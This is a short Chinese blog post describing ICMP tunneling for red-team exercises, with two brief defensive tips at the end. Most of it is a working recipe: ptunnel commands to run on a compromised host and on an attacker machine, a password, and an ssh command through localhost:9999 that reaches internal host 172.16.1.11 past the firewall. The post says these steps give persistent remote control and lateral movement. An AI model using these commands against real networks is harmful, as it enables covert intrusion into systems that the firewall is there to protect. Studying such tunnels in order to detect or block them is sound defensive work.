观天

网络安全攻防演练中常用的ICMP隧道技术

ICMP(Internet Control Message Protocol),Internet控制报文协议,工作在网络层,ICMP包含ping 、tracert 。

防火墙一般不会去拦截ICMP协议,攻击者、攻击队利用ICMP隧道技术出网。

ICMP隧道能绕过防火墙和安全设备从外部对内网主机进行持续远控。

利用 ICMP的data字段,通过改变data内容。在ICMP内封装TCP,SOCKS,SSH,HTTP。

通过抓包可以看到data字段里面的内容。包含攻击者

 

攻防环境演练,真实环境中也是一样:攻击内网目标 172.16.1.11或别的网段

一、失陷主机即是被攻击者拿下的主机,运行 :

ptunnel -x 隧道密码 xiaolan@1234

 

二、攻击机上运行:

sudo ptunnel -p 10.2.1.103 -lp 9999 -da 172.16.1.11 -dp 22 -x xiaolan@1234 //懒得解释自己看图

 

三、反弹shell或端口转发到攻击机上。进行攻击。内网横向移动。攻击机访问自己的http://127.0.0.1相当于访问内网172.16.1.11受害者,ssh也如此。

ssh root@127.0.0.1 -p 9999  //连接内网172.16.1.11的ssh或http都可以,http需要使用浏览器http://127.0.0.1:80

除此ICMP隧道以外,DNS隧道、http隧道也是一样威胁大。

防御:

(1)关键时期禁止ICMP或ICMP的ping出网。或单台服务器自身系统防火墙禁止

(2)ping速度和发包限制。

赞(6)
未经允许不得转载:观天 » 网络安全攻防演练中常用的ICMP隧道技术